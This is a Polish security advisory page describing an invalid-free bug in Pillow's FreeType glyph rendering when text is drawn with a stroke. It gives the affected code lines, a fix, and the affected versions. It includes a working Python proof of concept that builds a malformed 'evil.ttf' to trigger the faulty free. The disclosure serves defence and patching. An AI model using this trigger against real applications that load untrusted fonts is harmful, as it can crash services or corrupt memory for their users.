Wysoka

Pillow: Nieprawidłowe zwolnienie pamięci podczas renderowania glifów FreeType przy aktywnym obrysie

  • Ujawniono: 21.10.2026
  • Aktualizacja: 22.10.2026 00:04

Podsumowanie

Gdy tekst jest rysowany z niezerową szerokością obrysu, Pillow tworzy obiekt strokera FreeType, a następnie wczytuje każdy glif. Jeśli FT_Load_Glyph zakończy się niepowodzeniem dla danego glifu, ścieżka czyszczenia wywołuje FT_Done_Glyph na zmiennej glyph. Zmienna ta nie jest inicjalizowana przed pierwszą pętlą pomiarową, a w pętli renderowania nie jest resetowana do NULL po zwolnieniu każdego glifu. Nieprawidłowo sformatowana czcionka załadowana z niezaufanych bajtów może wymusić błąd wczytywania i doprowadzić do tego zwolnienia pamięci. Jest to uśpiony błąd bezpieczeństwa pamięci; to, czy nastąpi awaria programu, zależy od wartości w niezainicjalizowanym lub nieaktualnym wskaźniku.

Szczegóły

glyph jest deklarowane bez inicjalizatora NULL:

  • src/_imagingft.c:848

Pierwsza pętla pomiarowa może przeskoczyć do glyph_error, zanim glyph zostanie kiedykolwiek przypisane:

  • src/_imagingft.c:1010-1013

W pętli renderowania glif jest zwalniany na końcu każdej iteracji i nie jest ustawiany z powrotem na NULL:

  • src/_imagingft.c:1242

Czyszczenie zwalnia go za każdym razem, gdy istnieje stroker:

  • src/_imagingft.c:1253-1256

ImageFont.truetype akceptuje obiekt pliku lub bajty, więc czcionka może zostać dostarczona przez atakującego.

PoC

Wymaga to fontTools oraz dowolnego bazowego pliku TTF (w przykładzie użyto pliku dołączonego do testów Pillow). Nadpisuje on glif „A”, deklarując 5000 konturów w ciele glifu, które jest dla nich zbyt krótkie, przez co FT_Load_Glyph zwraca błąd, chociaż sam krój czcionki nadal się otwiera.

python
import struct
from fontTools.ttLib import TTFont
from PIL import Image, ImageFont, ImageDraw

SRC = "Tests/fonts/FreeMono.ttf"          # any TTF works as a base
tt = TTFont(SRC)
gid = tt.getGlyphID(tt.getBestCmap()[ord("A")])
loca_long = tt["head"].indexToLocFormat
tt.close()

raw = bytearray(open(SRC, "rb").read())
nt = struct.unpack(">H", raw[4:6])[0]
tbl = {}
for i in range(nt):
    rec = 12 + i * 16
    tag = bytes(raw[rec:rec+4]).decode("latin-1")
    off, length = struct.unpack(">II", raw[rec+8:rec+16])
    tbl[tag] = (off, length)
glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0]
if loca_long:
    o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0]
else:
    o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2
struct.pack_into(">h", raw, glyf_off + o0, 5000)   # numberOfContours = 5000
open("evil.ttf", "wb").write(raw)

f = ImageFont.truetype("evil.ttf", 20)             # face opens
d = ImageDraw.Draw(Image.new("RGB", (64, 64)))
d.text((0, 0), "A", font=f, stroke_width=2)        # load error -> FT_Done_Glyph on bad pointer

Wynik na wskazanej kompilacji: FT_Load_Glyph zwraca błąd, a wykonanie dociera do procedury czyszczącej glyph_error, która wywołuje FT_Done_Glyph(glyph) (wtyczka zgłasza OSError: invalid outline).

Wpływ

Aplikacje rysujące tekst za pomocą stroke_width != 0 przy użyciu czcionek załadowanych z niezaufanych bajtów mogą napotkać błąd nieprawidłowego lub podwójnego zwolnienia pamięci (double free). Właściwa poprawka polega na zainicjalizowaniu glyph = NULL i ustawianiu go z powrotem na NULL po każdym FT_Done_Glyph.

Co trzeba zrobić

Zaktualizuj bibliotekę Pillow do wersji 13.0.0 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) pillow >= 10.0.0, < 13.0.0 13.0.0

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Słabość (CWE)
CWE-457, CWE-763
Platforma
Python (PyPI)
Paczka
pillow
Ujawniono
21.10.2026
Aktualizacja
22.10.2026 00:04

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-j4m9-6w36-pw47 - CC BY 4.0

Historia podatności: pillow

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (89) w archiwum
Wszystkich wpisów
89
Pierwsza → ostatnia
04.2014 10.2026
Bez poprawki
0
Wykorzystywana w atakach
1

Rozkład istotności

  • Krytyczna 12
  • Wysoka 57
  • Średnia 18
  • Niska 1
  • Nieoceniona 1

Ujawnienia w latach

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 31

wcześniej: 12

Istotność:
  1. Wysoka CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  2. Pillow: Nieprawidłowe zwolnienie pamięci podczas renderowania glifów FreeType przy aktywnym obrysie ten wpis
    Wysoka CVE-2026-112893 >= 10.0.0, < 13.0.0 13.0.0
  3. Krytyczna CVE-2026-112403 < 13.0.0 13.0.0
  4. Wysoka · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  5. Wysoka CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
Pokaż więcej (20) Widać 20 z 69

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.